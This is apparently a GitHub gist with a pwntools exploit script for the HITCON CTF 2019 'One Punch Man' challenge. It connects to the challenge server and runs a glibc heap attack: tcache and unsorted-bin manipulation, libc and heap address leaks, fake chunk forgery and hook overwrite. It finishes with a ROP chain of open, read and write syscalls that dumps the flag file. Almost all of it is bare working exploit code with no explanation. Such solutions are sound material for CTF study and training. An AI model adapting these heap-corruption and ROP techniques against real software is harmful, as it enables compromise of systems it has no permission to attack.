Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created October 19, 2019 06:56
Show Gist options
  • Save hama7230/2caf2af6c64ab6f70e3fca2d2f0c0ac9 to your computer and use it in GitHub Desktop.
Save hama7230/2caf2af6c64ab6f70e3fca2d2f0c0ac9 to your computer and use it in GitHub Desktop.
HITCON CTF 2019 Quals One Punch Man
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./one_punch')
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
RHOST = "52.198.120.1"
RPORT = 48763
LHOST = "127.0.0.1"
LPORT = 12345
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
gdbscript = """
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./one_punch'], gdbscript=gdbscript)
else:
conn = process(['./one_punch'])
# conn = process(['./one_punch'], env={'LD_PRELOAD': ''})
if opt == 'a': gdb.attach(conn)
def debut(idx, p):
conn.sendlineafter('> ', '1')
conn.sendlineafter('idx', str(idx))
conn.sendafter('name', p)
def rename(idx, p):
conn.sendlineafter('> ', '2')
conn.sendlineafter('idx', str(idx))
conn.sendafter('name', p)
def show(idx):
conn.sendlineafter('> ', '3')
conn.sendlineafter('idx', str(idx))
def retire(idx):
conn.sendlineafter('> ', '4')
conn.sendlineafter('idx', str(idx))
def secret(p):
conn.sendlineafter('> ', '50056')
time.sleep(0.01)
conn.send(p)
# if ( c <= 0x7F || c > 0x400 )
# set 0x700 as size
debut(0, '_'*0xb8)
debut(0, '_'*0x88)
debut(1, '_'*0x88)
rename(1, 'b'*0x20 + p64(0x90) + p64(0x20) + 'b'*0x18 + p64(0x21))
retire(1)
debut(1, 'c'*0x88)
for i in range(6):
debut(2, 'x'*0x88)
retire(2)
for i in range(7):
debut(2, 'y'*0x217)
retire(2)
retire(0)
retire(1)
show(0)
conn.recvuntil('hero name: ')
libc_base = u64(conn.recv(6) + '\x00'*2) - 0x1e4ca0
dbg('libc_base')
show(1)
conn.recvuntil('hero name: ')
heap_base = u64(conn.recv(6) + '\x00'*2) - 0x310
dbg('heap_base')
fake_chunk = p64(libc_base + 0x1e4ca0)
fake_chunk += p64(heap_base + 0x340)
fake_chunk = fake_chunk.ljust(0x28)
fake_chunk += p64(0x91)
fake_chunk += p64(heap_base + 0x310)
fake_chunk += p64(heap_base + 0x430)
rename(0, fake_chunk)
rename(1, p64(heap_base + 0x340) + p64(libc_base + 0x1e4ca0))
debut(0, 'A'*0x88)
rename(0, 'A'*0x28 + p64(0x91) + p64(libc_base + 0x1e4ca0) + p64(heap_base + 0x430))
debut(1, 'B'*0x88)
rename(0, 'A'*0x28 + p64(0x21) + '\x00'*0x10)
retire(1)
rename(0, 'A'*0x28 + p64(0x31) + '\x00'*0x10)
retire(1)
rename(0, 'A'*0x28 + p64(0x3a1) + '\x00'*0x10)
retire(1)
for i in range(3):
print i
rename(0, 'A'*0x28 + p64(0x3b1) + '\x00'*0x10)
retire(1)
rename(0, 'A'*0x20 + p64(0x300) + p64(0x13c0) + 'A'*0x10 + p64(heap_base + 0x40)*2)
retire(1)
debut(0, '\xff'*0x100+p64(libc_base + 0x1e75a8))
secret(p64(libc_base + 0x0012be97))
# 0x0012be97: mov rdx, qword [rdi+0x08] ; mov rax, qword [rdi] ; mov rdi, rdx ; jmp rax ; (1 found)
payload = p64(libc_base + 0x55e35) + p64(heap_base + 0x1500)
payload += 'x'*0x68
payload += p64(heap_base + 0x15b0) # rdi
payload += p64(0) # rsi
payload += p64(0) # rbp
payload += p64(0) # rbx
payload += p64(0) # rdx
payload += 'x'*8
payload += p64(0) # rcx
payload += p64(heap_base + 0x50) # rsp
payload += p64(libc_base + 0x00047cf8) # return address
payload += '/home/ctf/flag\x00'
rename(2, payload)
# 0x00047cf7: pop rax ; ret ; (15 found)
# 0x000cf6c5: syscall ; ret ; (12 found)
# 0x00026542: pop rdi ; ret ; (464 found)
# 0x0012bdc9: pop rdx ; pop rsi ; ret ; (1 found)
pop_rdi = libc_base + 0x00026542
pop_rdx_rsi = libc_base + 0x0012bdc9
pop_rax = libc_base + 0x00047cf7
syscall = libc_base + 0x000cf6c5
rop = 'x'*0x8 + flat(pop_rax, 2, syscall)
rop += flat(pop_rdi, 3, pop_rdx_rsi, 0x100, heap_base + 0x10000, pop_rax, 0, syscall)
rop += flat(pop_rdi, 1, pop_rdx_rsi, 0x100, heap_base + 0x10000, pop_rax, 1, syscall)
rop += 'a'*8
print hex(len(rop))
rename(0, rop)
retire(2)
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment